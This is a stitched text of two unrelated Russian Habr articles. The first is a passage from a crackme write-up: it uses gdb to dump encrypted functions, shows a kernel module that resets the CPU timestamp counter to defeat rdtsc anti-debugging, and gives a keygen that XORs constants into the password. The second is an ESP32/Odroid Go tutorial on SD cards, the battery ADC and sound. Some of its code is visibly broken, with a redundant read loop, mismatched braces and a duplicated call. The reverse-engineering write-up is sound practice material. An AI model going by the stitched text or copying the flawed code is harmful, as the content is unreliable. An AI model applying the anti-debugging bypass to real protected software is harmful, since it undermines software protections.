(gdb) x/10i qEWL8Jl0zdpmTbwhziDv
0x804944b : push ebp
0x804944c : mov ebp,esp
0x804944e : mov eax,DWORD PTR [ebp+0x8]
0x8049451 : cmp eax,0x0
0x8049454 : je 0x80494b9
0x8049456 : cmp eax,0x1
0x8049459 : je 0x8049499
0x804945b : call 0x8047b71
0x8049460 : add DWORD PTR [eax+0x48604bf],0x5eb9008
0x804946a : add DWORD PTR [eax-0x4608ea13],0x8048ab1
(gdb) x/10i fjDKIzPtGuE8ZdfSL8vq
0x8048604 : call 0xb027:0xaf72c78c
0x804860b : cmp esi,DWORD PTR ds:0xe4dfbbf1
0x8048611 : (bad)
0x8048612 : and al,BYTE PTR [ebp+edi\*2-0x8]
0x8048616 : push ebx
0x8048617 : push esi
0x8048618 : inc edx
0x8048619 : mov WORD PTR [ebp+0x76],ss
0x804861c : xchg edx,eax
0x804861d : mov al,ds:0x45fd3fbb
(gd
(gdb) x/10i W0ElBw5Smo9TPiWOeK8c
0x8048ab1 : call 0xb023:0x1c72c78c
0x8048ab8 : cmp esi,DWORD PTR ds:0xe4dfbbf1
0x8048abe : jmp 0xf86e358
0x8048ac3 : xchg ax,ax
0x8048ac5 : out dx,eax
0x8048ac6 : dec ebp
0x8048ac7 : xchg edi,eax
0x8048ac8 : popa
0x8048ac9 : test DWORD PTR [ecx-0x7e],esp
0x8048acc : test DWORD PTR [edi],esi
```
Как мы можем увидеть, основной алгоритм находится внутри функции *nkc1qpE2L6f6AyqaendA* , а цепочка вызовов выглядит следующим образом: `qEWL8Jl0zdpmTbwhziDv -> fjDKIzPtGuE8ZdfSL8vq -> qEWL8Jl0zdpmTbwhziDv -> W0ElBw5Smo9TPiWOeK8c -> qEWL8Jl0zdpmTbwhziDv`.
Просмотрев первые 10 строк каждой функции, смогли ли вы найти нечто необычное? Посмотрите внимательно на первые строки *fjDKIzPtGuE8ZdfSL8vq* и *W0ElBw5Smo9TPiWOeK8c* , они абсолютно бессмысленны.
Я ни разу в жизни (от переводчика: в оригинале: *life:)* — вероятнее всего отсыл к небезизвестному мобильному оператору) не встречался с чем-либо подобным: `call 0xb023:0x1c72c78c`. А все дело в том, что обе эти функции зашифрованы и *gdb* попытался их дизассемблить.
Итак, *qEWL8Jl0zdpmTbwhziDv* занимается расшифровкой функций (поэтому её вызов и стоит перед ними).
Я попробую поменять алгоритм выполнения программы, заменив зашифрованные функции их расшифрованными соответствиями и уберу вызов *qEWL8Jl0zdpmTbwhziDv*.
Исходя из этого, новый алгоритм будет выглядеть следующим образом: `fjDKIzPtGuE8ZdfSL8vq -> W0ElBw5Smo9TPiWOeK8c` — и всё.
#### Тупик 1. Начало
Работая над этим *crackme*, я попытался отключить *TimeStampCounter* или как-нибудь его контролировать. В данном случае *rdtsc* используется для проверки интервала времени между выполнениями инструкций. Соответственно, если вы попытаетесь прогнать программу через *gdb*, то данный интервал будет намного больше такого же, но при нормальной работе кода. Поэтому я попытался найти способ управления счетчиком *tsc*, но, к сожалению, он управляется процессором — и поэтому я ничего не могу сделать из-под ОС.
Но все же я попытался написать модуль для ядра, который бы сбивал счетчик, устанавливая его значение равным 0:
```
#include // included for all kernel modules
#include // included for KERN\_INFO
#include // included for \_\_init and \_\_exit macros
#include // for threads
#include // for task\_struct
#include // for using jiffies
#include
MODULE\_LICENSE("GPL");
MODULE\_AUTHOR("m00dy");
MODULE\_DESCRIPTION("A Fake rdtsc emulation");
static struct task\_struct \*thread1;
int thread\_fn(){
uint32\_t hi,lo;
unsigned long j0,j1;
int delay = HZ / 250;
hi=0; lo=0xb;
printk(KERN\_INFO "In thread1");
j0 = jiffies;
j1 = j0 + delay;
asm volatile("wrmsr"::"c"(0x10),"a"(lo),"d"(hi));
while(1){
if(time\_before(jiffies,j1))
schedule();
else
{
j1 = jiffies + delay;
asm volatile("wrmsr"::"c"(0x10),"a"(lo),"d"(hi));
}
}
}
static int \_\_init hello\_init(void)
{
char our\_thread[8]="thread1";
printk(KERN\_INFO "in init");
thread1 = kthread\_create(thread\_fn,NULL,our\_thread);
if((thread1))
{
printk(KERN\_INFO "in if");
wake\_up\_process(thread1);
}
return 0;
}
static void \_\_exit hello\_cleanup(void)
{
printk(KERN\_INFO "Fake RDTSC end \n");
}
module\_init(hello\_init);
module\_exit(hello\_cleanup);=
```
К сожалению, данный метод не сработал, так, как мне было необходимо, и я продолжил поиски.
#### Тупик 1. Конец
У меня появилась идея остановить программу в тот момент, когда обе функции будут в расшифрованном состоянии. Например, *0x8048ab0* — очень хорошее место, поскольку это конец функции *fjDKIzPtGuE8ZdfSL8vq*.
Давайте откроем *.gdbinit* и запишем:
```
set disassembly-flavor intel
set disassemble-next-line on
handle SIGTRAP noprint pass nostop
b * 0x8048ab0
```
Перезапускаем *crackme* и снова цепляем *gdb*. Вводим 16 символов и жмем *c*.
```
=> 0xf7706430 <__kernel_vsyscall+16>: 5d pop ebp
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08048ab1 in W0ElBw5Smo9TPiWOeK8c ()
=> 0x08048ab1 : 9a 8c c7 72 1c 23 b0 call 0xb023:0x1c72c78c
(gdb) x/10i fjDKIzPtGuE8ZdfSL8vq
0x8048604 : push ebp
0x8048605 : mov ebp,esp
0x8048607 : call 0x8047b08
0x804860c : xor eax,0x20ec8390
0x8048611 : call 0x8047b08
0x8048616 : xor eax,0x32ff45c6
0x804861b : call 0x8047b08
0x8048620 : xor eax,0xdafe45c6
0x8048625 : call 0x8047b08
0x804862a : xor eax,0xdbfd45c6
(gdb)
```
Вуаля. Теперь у нас есть чистая функция *fjDKIzPtGuE8ZdfSL8vq* . Но у нас все еще есть проблема с *gdb* — *false assembly* (доступно для прочтения на английском [тут](http://www.stonedcoder.org/~kd/lib/14-61-1-PB.pdf)).
Давайте сохраним нашу функцию во временный файл (параметры: имя\_файла, начальный\_адрес и конечный\_адрес):
```
dump ihex memory fjDKIzPtGuE8ZdfSL8vq_dump 0x8048604 0x8048ab0
```
Теперь сделаем то же самое для второй функции — ставим брейкпоинт по адресу: *0x08048e14* и создаем дамп:
```
dump ihex memory W0ElBw5Smo9TPiWOeK8c_dump W0ElBw5Smo9TPiWOeK8c g999+3
```
Теперь, когда у нас есть обе функции, давайте попробуем поменять алгоритм выполнения программы. Для этого очищаем файл *.gdbinit* и ставим брейкпоинт: *0x80494db*:
```
set disassembly-flavor intel
set disassemble-next-line on
break * 0x80494ef
commands
set($eip) = 0x80494f4
continue
end
break * 0x80494fa
commands
restore fjDKIzPtGuE8ZdfSL8vq_dump
restore W0ElBw5Smo9TPiWOeK8c_dump
continue
end
break * 0x08049506
commands
set($eip) = 0x804950b
continue
end
break * 0x8049520
commands
set($eip) = 0x8049525
continue
end
```
Ну а теперь, когда мы изменили алгоритм — все достаточно просто. Следуем инструкциям, описанным в первой части данной статьи.
Введенные нами символы ксорятся (XOR) c некими константами, после чего результат проверяется на правильность: `Inputs ^ FirstConstants == SecondConstants`, соответственно: `Inputs = SecondConstants ^ FirstConstants`
А вот и наш генератор ключа:
```
#!/usr/bin/python
firstConst = [0x32,0xda,0xdb,0x1,0xf3,0x77,0x4c,0x57,0xbe,0x49,0xec,0x5f,0xab,0x7f,0xed,0x9f]
secondConst = [0x0d,0xef,0xf1,0x4d,0xb6,0x4c,0x69,0x20,0xf9,0x20,0xdd,0x7c,0xda,0x3b,0xc9,0xaf]
ret =""
for x in range(16):
ret+=chr(firstConst[x] ^ secondConst[x])
print ret
```
Поехали проверять:
```
eren@lisa:~$ ./CrackTheNuke
*** NUKE CONTROL SYSTEM ***
PASSWORD: ?5*LE;%wGi1#qD$0
*** ACCESS GRANTED ***
*** THE NUKE STOPPED ***
eren@lisa:~$
```
Все работает.
#### Заключение
Так же хотелось бы вам рассказать, что случилось после того, как меня приняли на работу. В самый же первый день моей новой работы они решили поменять мой департамент (я до сих пор не могу понять, почему эта компания считает себя лучшей из лучших в Турции).
После этого я стал *J2ee* разработчиком. Мне приходилось использовать *eclipse*, *svn* и даже операционную систему под названием *Windows \**. Но, как оказалось в последствии, это было не самое страшное. Позже они заставили меня писать *css*…
Но теперь я живу в Барселоне и у меня прекрасная жизнь. | https://habr.com/ru/post/238009/ | null | ru | null |
# Программирование игры для embedded-устройства на ESP32: накопитель, аккумулятор, звук
[Начало: система сборки, ввод, дисплей](https://habr.com/ru/post/502528/).
Часть 4: накопитель
===================
Odroid Go имеет слот карты MicroSD, который будет полезен для загрузки ресурсов (спрайтов, звуковых файлов, шрифтов), а возможно, даже для сохранения состояния игры.
Устройство чтения карт подключено по SPI, но IDF упрощает взаимодействие с SD-картой благодаря абстрагированию вызовов SPI и использованию стандартных функций **POSIX** наподобие **fopen**, **fread** и **fwrite**. В основе всего этого лежит библиотека **FatFs**, поэтому SD-карта должна быть отформатированной в стандартом формате FAT.
Она подключена к той же шине SPI, что и ЖК-дисплей, но использует другую линию выбора чипа. Когда нам нужно выполнить чтение или запись на SD-карту (а такое случается не очень часто), драйвер SPI будет переключать сигнал CS с дисплея на устройство чтения SD-карты, а затем выполнять операцию. Это значит, что во время отправки данных на дисплей мы не можем выполнять никаких операций с SD-картой, и наоборот.
На данный момент мы выполняем всё в одном потоке и используем блокирующую передачу по SPI на дисплей, поэтому одновременных транзакций с SD-картой и с ЖК-дисплеем быть не может. В любом случае, есть большая вероятность того, мы будем загружать все ресурсы во время запуска.
Модификация ESP-IDF
-------------------
Если мы попытаемся инициализировать интерфейс SD-карты после инициализации дисплея, то столкнёмся с проблемой, приводящей к невозможности загрузки Odroid Go. ESP-IDF версии v4.0 не поддерживает общий доступ к шине SPI при её использовании с SD-картой. Недавно разработчики добавили эту функциональность, но её пока нет в стабильном релизе, поэтому мы самостоятельно внесём в IDF небольшую модификацию.
Закомментируем строку 303 **esp-idf/components/driver/sdspi\_host.c**:
```
// Initialize SPI bus
esp_err_t ret = spi_bus_initialize((spi_host_device_t)slot, &buscfg,
slot_config->dma_channel);
if (ret != ESP_OK) {
ESP_LOGD(TAG, "spi_bus_initialize failed with rc=0x%x", ret);
//return ret;
}
```
После внесения этого изменения мы всё равно будем видеть ошибку при инициализации, но она больше не будет вызывать перезапуска ESP32, потому что код ошибки не распространяется выше.
Инициализация
-------------
Нам нужно сообщить IDF, какие контакты ESP32 подключены к устройству чтения MicroSD, чтобы он правильно сконфигурировал лежащий в основе библиотеки драйвер SPI, который на самом деле выполняет обмен данными с устройством чтения.
На схеме снова используются общие пометки **VSPI.XXXX**, но мы можем пройти по ним до настоящих номеров контактов на ESP32.
Инициализация похожа на инициализацию ЖК-дисплея, но вместо общей структуры конфигурации SPI мы используем **sdspi\_slot\_config\_t**, предназначенную для SD-карты, подключенной по шине SPI. Мы конфигурируем соответствующие номера контактов и свойства монтирования карты в системе FatFS.
Документация IDF не рекомендует использовать функцию **esp\_vfs\_fat\_sdmmc\_mount** в коде готовой программы. Это функция-обёртка, выполняющая за нас множество операций, но пока она работает вполне нормально, и, вероятно, в дальнейшем ничего не изменится.
Параметр**"/sdcard"** этой функции задаёт виртуальную точку монтирования SD-карты, которую мы затем будем использовать в качестве префикса при работе с файлами. Если бы у нас на SD-карте был файл с именем «test.txt», то путь, который мы бы использовали для ссылки на него, имел вид "/sdcard/test.txt".
После завершения инициализации интерфейса SD-карты взаимодействие с файлами выполняется тривиально: мы можем просто использовать стандартные вызовы функций **POSIX**, что очень удобно.
> Файловая система по умолчанию использует [формат имён файлов 8.3](https://en.wikipedia.org/wiki/8.3_filename), то есть отдаёт восемь символов под имя файла и три символа под его расширение. Если сохранить файл иначе, то вызов **fopen** совершить не удастся. Можно включить поддержку длинных имён файлов через **make menuconfig**, но мы пока не будем ничего менять, не забывая об ограничении **8.3**.
Демо
----
Я создал в **Aseprite** (ужасный) спрайт размером 64x64, в котором используются только два цвета: совершенно чёрный (пиксель отключен) и совершенно белый (пиксель включен). В Aseprite нет опции сохранения цвета RGB565 или экспорта в виде сырой битовой карты (т.е.е без сжатия и заголовков изображений), поэтому я экспортировал спрайт во временный формат PNG.
Затем я с помощью **ImageMagick** преобразовал данные в файл PPM, который превратил изображение в сырые несжатые данные с простым заголовком. Далее я открыл изображение в шестнадцатеричном редакторе, удалил заголовок и преобразовал 24-битный цвет в 16-битный, удалив все вхождения **0x000000** на **0x0000**, а все вхождения **0xFFFFFF** на **0xFFFF**. Порядок следования байтов здесь не является проблемой, потому что **0x0000** и **0xFFFF** не меняются при смене порядка байтов.
Сырой файл можно скачать [отсюда](https://austinmorlan.com/posts/embedded_game_programming_4/media/key).
```
FILE* spriteFile = fopen("/sdcard/key", "r");
assert(spriteFile);
uint16_t* sprite = (uint16_t*)malloc(64 * 64 * sizeof(uint16_t));
for (int i = 0; i < 64; ++i)
{
for (int j = 0; j < 64; ++j)
{
fread(sprite, sizeof(uint16_t), 64 * 64, spriteFile);
}
}
fclose(spriteFile);
```
Сначала мы открываем файл **key**, содержащий сырые байты, и считываем его в буфер. В будущем мы будем выполнять загрузку ресурсов спрайтов иначе, но для демо этого вполне достаточно.
```
int spriteRow = 0;
int spriteCol = 0;
for (int row = y; row < y + 64; ++row)
{
spriteCol = 0;
for (int col = x; col < x + 64; ++col)
{
uint16_t pixelColor = sprite[64 * spriteRow + spriteCol];
if (pixelColor != 0)
{
gFramebuffer[row * LCD_WIDTH + col] = color;
}
++spriteCol;
}
++spriteRow;
}
```
Для отрисовки спрайта мы итеративно обходим его содержимое. Если пиксель белый, то мы рисуем его тем цветом, который выбрали кнопками. Если он чёрный, то мы считаем его фоном и не отрисовываем.
Your browser does not support HTML5 video.
*Камера моего телефона сильно искажает цвета. И простите за её тряску.*
Чтобы протестировать запись изображения, мы переместим ключ в какое-нибудь место экрана, изменим его цвет, а затем запишем буфер кадров на SD-карту, чтобы можно было просмотреть его на компьютере.
```
if (input.menu)
{
const char* snapFilename = "/sdcard/framebuf";
ESP_LOGI(LOG_TAG, "Writing snapshot to %s", snapFilename);
FILE* snapFile = fopen(snapFilename, "wb");
assert(snapFile);
fwrite(gFramebuffer, sizeof(gFramebuffer[0]), LCD_WIDTH * LCD_HEIGHT, snapFile);
}
fclose(snapFile);
}
```
Нажатие клавиши Menu сохраняет содержимое буфера кадров в файл под названием **framebuf**. Это будет сырой буфер кадров, поэтому пиксели по-прежнему останутся в формате RGB565 с перевёрнутым порядком байтов. Мы можем снова воспользоваться ImageMagick для преобразования этого формата в PNG, чтобы просмотреть его на компьютере.
```
convert -depth 16 -size 320x240+0 -endian msb rgb565:FRAMEBUF snap.png
```
Разумеется, мы можем реализовать считывание/запись в формат BMP/PNG и избавиться от всей этой возни с ImageMagick, но это всего лишь код демо. Пока я не решил, какой формат файлов хочу использовать для хранения спрайтов.
Вот и он! Буфер кадров Odroid Go отображается на настольном компьютере.
Ссылки
------
* [Odroid Go Schematic](https://github.com/hardkernel/ODROID-GO/blob/master/Documents/ODROID-GO_REV0.1_20180518.pdf)
* [ESP-IDF Documentation: SDMMC](https://docs.espressif.com/projects/esp-idf/en/v4.0/api-reference/storage/sdmmc.html)
Часть 5: аккумулятор
====================
Odroid Go имеет литий-ионный аккумулятор, поэтому мы можем создать игру, в которую можно играть на ходу. Это заманчивая идея для того, кто в детстве играл на первом Gameboy.
Следовательно, нам нужен способ запрашивать уровень заряда аккумулятора Odroid Go. Аккумулятор подключён к контакту на ESP32, поэтому мы можем считывать напряжение, чтобы иметь приблизительное представление об оставшемся времени работы.
Схема
-----
На схеме показан **IO36**, соединённый с **VBAT** напряжения после стягивания на землю через резистор. Два резистора (**R21** и **R23**) образуют делитель напряжения, аналогичный использованному на крестовине геймпада; резисторы снова имеют одинаковое сопротивление, чтобы напряжение было вдвое меньше исходного.
Из-за делителя напряжения **IO36** будет считывать напряжение, равное половине **VBAT**. Наверно, это сделано потому, что контакты АЦП на ESP32 не могут считывать высокое напряжение литий-ионного аккумулятора (4,2 В при максимальном заряде). Как бы то ни было, это означает, что для получения истинного напряжения нужно удваивать напряжение, считываемое с АЦП (ADC).
При считывании значения **IO36** мы получим цифровое значение, но потеряем представляемое им аналоговое значение. Нам нужен способ для интерпретации цифрового значения с АЦП виде физического аналогового напряжения.
IDF позволяет выполнять калибровку АЦП, которая пытается выдать уровень напряжения на основании эталонного напряжения. Это эталонное напряжение (**Vref**) по умолчанию равно 1100 мВ, но из-за физических характеристик каждое устройство немного отличается. ESP32 в Odroid Go имеет заданное вручную Vref, «прошитое» в eFuse, которое мы можем использовать как более точное Vref.
Процедура будет заключаться в следующем: сначала мы выполним конфигурирование калибровки АЦП, а когда захотим считать напряжение, то будем брать определённое количество сэмплов (например, 20), чтобы вычислить средние показания; затем мы используем IDF для преобразования этих показаний в напряжение. Вычисление среднего позволяет устранить шум и даёт более точные показания.
К сожалению, между напряжением и зарядом аккумулятора нет линейной связи. При снижении заряда напряжение падает, при повышении — поднимается, но непредсказуемым образом. Всё, что можно сказать: если напряжение ниже примерно 3,6 В, то аккумулятор разряжается, но на удивление сложно точно преобразовать уровень напряжения в процент заряда аккумулятора.
Для нашего проекта это не особо важно. Мы можем реализовать грубую аппроксимацию, чтобы дать игроку понять о необходимости скорой зарядки устройства, но не будем мучиться, пытаясь получить точный процент.
Светодиод состояния
-------------------
На передней панели под экраном Odroid Go есть синий светодиод (LED), который мы можем использовать для любых целей. Можно показывать им, что устройство включено и работает, но в таком случае при игре в темноте вам в лицо будет светить ярко-синий светодиод. Поэтому мы будем использовать его для индикации низкого заряда аккумулятора (хотя я бы предпочёл для этого красный или янтарный цвет).
Чтобы использовать светодиод, нужно установить **IO2** в качестве выхода, а затем подавать на него высокий или низкий сигнал для включения и отключения светодиода.
Думаю, что резистора на 2 кОм (**резистора ограничения тока**) будет достаточно для того, чтобы мы не сожгли светодиод и не подали слишком большой ток с контакта GPIO.
Светодиод имеет довольно низкое сопротивление, поэтому если на него подать 3,3 В, то мы сожжём его изменением тока. Для защиты от этого обычно последовательно со светодиодом подключается резистор.
Однако резисторы ограничения тока для светодиодов обычно гораздо меньше 2 кОм, поэтому я не понимаю, зачем резистору **R7** такое сопротивление.
Инициализация
-------------
```
static const adc1_channel_t BATTERY_READ_PIN = ADC1_GPIO36_CHANNEL;
static const gpio_num_t BATTERY_LED_PIN = GPIO_NUM_2;
static esp_adc_cal_characteristics_t gCharacteristics;
void Odroid_InitializeBatteryReader()
{
// Configure LED
{
gpio_config_t gpioConfig = {};
gpioConfig.mode = GPIO_MODE_OUTPUT;
gpioConfig.pin_bit_mask = 1ULL << BATTERY_LED_PIN;
ESP_ERROR_CHECK(gpio_config(&gpioConfig));
}
// Configure ADC
{
adc1_config_width(ADC_WIDTH_BIT_12);
adc1_config_channel_atten(BATTERY_READ_PIN, ADC_ATTEN_DB_11);
adc1_config_channel_atten(BATTERY_READ_PIN, ADC_ATTEN_DB_11);
esp_adc_cal_value_t type = esp_adc_cal_characterize(
ADC_UNIT_1, ADC_ATTEN_DB_11, ADC_WIDTH_BIT_12, 1100, &gCharacteristics);
assert(type == ESP_ADC_CAL_VAL_EFUSE_VREF);
}
ESP_LOGI(LOG_TAG, "Battery reader initialized");
}
```
Сначала мы устанавливаем GPIO светодиода в качестве выхода, чтобы при необходимости мы могли его переключать. Затем мы конфигурируем контакт АЦП, как делали это в случае с крестовиной — с битовой шириной 12 и минимальным затуханием.
**esp\_adc\_cal\_characterize** выполняет за нас вычисления для характеризации АЦП так, чтобы мы могли позже преобразовать цифровые показания в физическое напряжение.
Считывание аккумулятора
-----------------------
```
uint32_t Odroid_ReadBatteryLevel(void)
{
const int SAMPLE_COUNT = 20;
uint32_t raw = 0;
for (int sampleIndex = 0; sampleIndex < SAMPLE_COUNT; ++sampleIndex)
{
raw += adc1_get_raw(BATTERY_READ_PIN);
}
raw /= SAMPLE_COUNT;
uint32_t voltage = 2 * esp_adc_cal_raw_to_voltage(raw, &gCharacteristics);
return voltage;
}
```
Мы берём двадцать сырых сэмплов АЦП с контакта АЦП, а затем делим их, чтобы получить среднее значение. Как говорилось выше, это помогает снизить шум показаний.
Затем мы используем **esp\_adc\_cal\_raw\_to\_voltage** для преобразования сырого значения в настоящее напряжение. Из-за упомянутого выше делителя напряжения мы удваиваем возвращаемое значение: считываемое значение будет в два раза меньше действительного напряжения аккумулятора.
Вместо того, чтобы придумывать хитрые способы преобразования этого напряжения в какой-то процент заряда аккумулятора, мы будем возвращать простое напряжение. Пусть вызывающая функция сама решает, что ей делать с напряжением — превратить ли в процент заряда, или просто интерпретировать его как высокое или низкое значение.
Значение возвращается в милливольтах, поэтому вызывающей функции нужно выполнить соответствующее преобразование. Это предотвращает переполнение float.
Настройка светодиода
--------------------
```
void Odroid_EnableBatteryLight(void)
{
gpio_set_level(BATTERY_LED_PIN, 1);
}
void Odroid_DisableBatteryLight(void)
{
gpio_set_level(BATTERY_LED_PIN, 0);
}
```
Этих двух простых функций достаточно для использования светодиода. Мы можем или включить, или выключить свет. Пусть вызывающая функция сама решает, когда это нужно делать.
Мы могли бы создать задачу (task), которая бы периодически отслеживала напряжение аккумулятора и соответствующим образом переключала состояние светодиода, но я лучше буду опрашивать напряжение аккумулятора в нашем основном цикле, а потом оттуда уже решать, как задать напряжение аккумулятора.
Демо
----
```
uint32_t batteryLevel = Odroid_ReadBatteryLevel();
if (batteryLevel < 3600)
{
Odroid_EnableBatteryLight();
}
else
{
Odroid_DisableBatteryLight();
}
```
Мы можем просто запрашивать уровень аккумулятора в основном цикле, и если напряжение ниже порогового значения, включать светодиод, сообщающий о необходимости зарядки. На основании изученных материалов могу сказать, что 3600 мВ (3,6 В) — хороший признак низкого заряда литий-ионных аккумуляторов, но сами аккумуляторы устроены сложны.
Ссылки
------
* [Odroid Go Schematic](https://github.com/hardkernel/ODROID-GO/blob/master/Documents/ODROID-GO_REV0.1_20180518.pdf)
* [ESP-IDF Documentation: ADC](https://docs.espressif.com/projects/esp-idf/en/v4.0/api-reference/peripherals/adc.html)
* [Battery Characteristics](https://www.electronics-notes.com/articles/electronic_components/battery-technology/li-ion-lithium-ion-charging.php)
Часть 6: звук
=============
Последним шагом к получению полного интерфейса ко всему оборудованию Odroid Go будет написание слоя звука. Закончив с этим, мы сможем начать двигаться к более общему программированию игры, меньше связанному с программированием под Odroid. Всё взаимодействие с периферией будет выполняться через функции **Odroid**.
Из-за отсутствия у меня опыта работы с программированием звука и нехватки хорошей документации со стороны IDF, при работе над проектом реализация звука заняла больше всего времени.
В конечном итоге, для воспроизведения звука потребовалось совсем не так много кода. Бо́льшая часть времени была потрачена на разбирательство с тем, как преобразовать звуковые данные нужным ESP32 образом и как сконфигурировать аудиодрайвер ESP32, чтобы он соответствовал конфигурации оборудования.
Основы цифрового звука
----------------------
Цифровой звук состоит из двух частей: **записи** и **воспроизведения**.
### Запись
Для записи звука на компьютере нам сначала нужно преобразовать его из пространства непрерывного (аналогового) сигнала в пространство дискретного (цифрового) сигнала. Эта задача выполняется при помощи **аналого-цифрового преобразователя (Analog-to-Digital Converter, ADC)** (о котором мы говорили, когда работали с крестовиной в Части 2).
АЦП получает **сэмпл** входящей волны и оцифровывает значение, которое затем можно сохранить в какой-нибудь файл.
### Воспроизведение
Цифровой звуковой файл можно вернуть из цифрового пространства в аналоговое при помощи **цифро-аналогового преобразователя (Digital-to-Analog Converter, DAC)**. ЦАП может воспроизводить значения только в определённом диапазоне. Например, 8-битный ЦАП с источником напряжением 3,3 В может выводить аналоговые напряжения в диапазоне от 0 до 3,3 мВ с шагом 12,9 мВ (3,3 В, разделённые на 256).
ЦАП берёт цифровые значения и преобразует их обратно в напряжение, которое можно передать на усилитель, динамик или любое другое устройство, способное получать аналоговый звуковой сигнал.
Частота сэмплирования
---------------------
При записи аналогового звука через АЦП сэмплы берутся с определённой частотой, а каждый сэмпл является «снимком» звукового сигнала в момент времени. Этот параметр называется **частотой сэмплирования** и измеряется в **герцах**.
Чем выше частота сэмплирования, тем точнее мы воссоздаём частоты исходного сигнала. [Теорема Найквиста-Шеннона (Котельникова)](https://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem) гласит (если говорить простыми словами), что частота сэмплирования должна быть вдвое больше наибольшей частоты сигнала, которую мы хотим записать.
Человеческое ухо способно слышать примерно в диапазоне **от 20 Гц до 20 кГц**, поэтому для воссоздания музыки высокого качества чаще всего используется частота дискретизации **44,1 кГц**, что чуть больше удвоенной максимальной частоты, которую может распознать человеческое ухо. Это гарантирует, что будет воссоздан полный набор частот инструментов и голосом.
Однако каждый сэмпл занимает место в файле, поэтому мы не можем выбирать максимальную частоту сэмплирования. Однако если сэмплировать недостаточно быстро, можно потерять важную информацию. Выбираемая частота сэмплирования должна зависеть от присутствующих в воссоздаваемом звуке частот.
*Воспроизведение должно выполняться с той же частотой сэмплирования, что и у источника, иначе звук и его длительность будут отличаться.*
Допустим, десять секунд звука были записаны с частотой сэмплирования 16 кГц. Если воспроизвести его с частотой 8 кГц, то его тон будет ниже, а длительность составит двадцать секунд. Если воспроизводить его с частотой дискретизации 32 кГц, то слышимый тон будет выше, а сам звук будет длиться пять секунд.
[В этом видео показана разница частот сэмплирования с примерами.](https://www.youtube.com/watch?v=fZzMXdxbOes)
Битовая глубина
---------------
Частота сэмплирования — это только половина уравнения. У звука есть ещё и **битовая глубина**, то есть количество битов на сэмпл.
Когда АЦП выполняет захват сэмпла аудиосигнала, он должен превратить это аналоговое значение в цифровое, и диапазон захватываемых значений зависит от количества использованных бит. 8 бит (256 значений), 16 бит (65 526 значений), 32 бита (4 294 967 296 значений) и т.д.
Количество битов на сэмпл связано с **динамическим диапазоном (Dynamic Range)** звука, т.е. с самыми громкими и с самыми тихими частями. Наиболее распространённая битовая глубина для музыки — 16 бит.
*При воспроизведении необходимо обеспечить такую же битовую глубину, что и у источника, иначе звук и его длительность изменятся.*
Например, у вас есть аудиофайл с четырьмя сэмплами, хранящимися как 8 бит: [0x25, 0xAB, 0x34, 0x80]. Если попытаться воспроизвести их так, как будто они 16-битные, то получится только два сэмпла: [0x25AB, 0x3480]. Это не только приведёт к неправильным значениям сэмплов звука, но и вдвое уменьшит количество сэмплов, а значит, и длительность звука.
Также важно знать формат сэмплов. 8-битные без знака, 8-битные со знаком, 16-битные без знака, 16-битные со знаком, и т.д. Обычно 8-битные бывают беззнаковыми, а 16-битные — со знаком. Если их перепутать, то звук будет сильно искажён.
[В этом видео показана разница битовых глубин с примерами.](https://www.youtube.com/watch?v=ubCMI3Jq6e4)
Файлы WAV
---------
Чаще всего сырые аудиоданные в компьютере хранятся в [формате WAV](https://en.wikipedia.org/wiki/WAV), который имеет простой заголовок, описывающий формат звука (частоту сэмплирования, битовую глубину, размер и т.п.), за которыми следуют сами аудиоданные.
Звук никак не сжат (в отличие от форматов наподобие MP3), благодаря чему мы можем легко воспроизвести его без необходимости библиотеки кодека.
Основная проблема файлов WAV в том, что из-за отсутствия сжатия они могут быть довольно большими. Размер файла напрямую связан с длительностью, частотой сэмплирования и битовой глубиной.
**Размер = Длительность (в секундах) x Частота сэмплирования (сэмплов/с) x Битовая глубина (бит/сэмпл)**
Сильнее всего влияет на размер файла частота сэмплирования, поэтому самый простой способ экономии места — выбрать достаточно низкое её значение. Мы будем создавать олдскульный звук, поэтому низкая частота сэмплирования нам подходит.
I2S
---
ESP32 имеет периферию, благодаря которой обеспечить интерфейс с аудиоборудованием относительно просто: **Inter-IC Sound (I2S)**.
Протокол I2S довольно прост и состоит всего из трёх сигналов: тактового сигнала, выбора каналов (левого или правого), а также линии самих данных.
Тактовая частота зависит от частоты сэмплирования, битовой глубины и количества каналов. Такты сменяются для каждого бита данных, поэтому для правильного воспроизведения звука нужно соответствующим образом задать тактовую частоту.
**Тактовая частота = Частота сэмплирования (сэмплы/с) x Битовая глубина (бит/сэмпл) x Количество каналов**
Драйвер I2S микроконтроллера ESP32 имеет два возможных режима: он может или выводить данные на контакты, подключённые к внешнему ресиверу I2S, который может декодировать протокол и передавать данные усилителю, или он может передавать данные во внутренний ЦАП ESP32, выводящий аналоговый сигнал, который можно передать на усилитель.
Odroid Go не имеет на плате никакого декодера I2S, поэтому нам придётся использовать внутренний 8-битный ЦАП ESP32, то есть мы должны использовать 8-битный звук. У устройства есть два ЦАП, один подключён к **IO25**, другой — к **IO26**.
Процедура выглядит так:
1. Мы передаём аудиоданные драйверу I2S
2. Драйвер I2S отправляет аудиоданные 8-битному внутреннему ЦАП
3. Внутренний ЦАП выводит аналоговый сигнал
4. Аналоговый сигнал передаётся на усилитель звука
5. Усилитель звука отправляет выходной сигнал на динамик
6. Динамик издаёт шум
Схема
-----
Если мы взглянем на аудиоцепь на [схеме Odroid Go](https://github.com/hardkernel/ODROID-GO/blob/master/Documents/ODROID-GO_REV0.1_20180518.pdf), то увидим два контакта GPIO (**IO25** и **IO26**), соединённые со входами усилителя звука (**PAM8304A**). **IO25**
также подключен к сигналу **/SD** усилителя, то есть контакту, включающему или отключающему усилитель (низкий сигнал означает отключение). Выходы усилителя присоединены к одному динамику (**P1**).
Помните, что **IO25** и **IO26** являются выходами 8-битных ЦАП ESP32, то есть один ЦАП подключен к **IN-**, а другой — к **IN+**.
**IN-** и **IN+** являются **дифференциальными входами** усилителя звука. Дифференциальные входы используются для снижения шума, вызванного **электромагнитными помехами**. Любой шум, присутствующий в одном сигнале, будет также присутствовать и в другом. Один сигнал вычитается из другого, что позволяет устранить шум.
Если взглянуть на [спецификацию усилителя звука](https://www.diodes.com/assets/Datasheets/PAM8304.pdf), то в ней есть цепь **Typical Applications Circuit**, которая является рекомендуемым производителем способом использования усилителя.
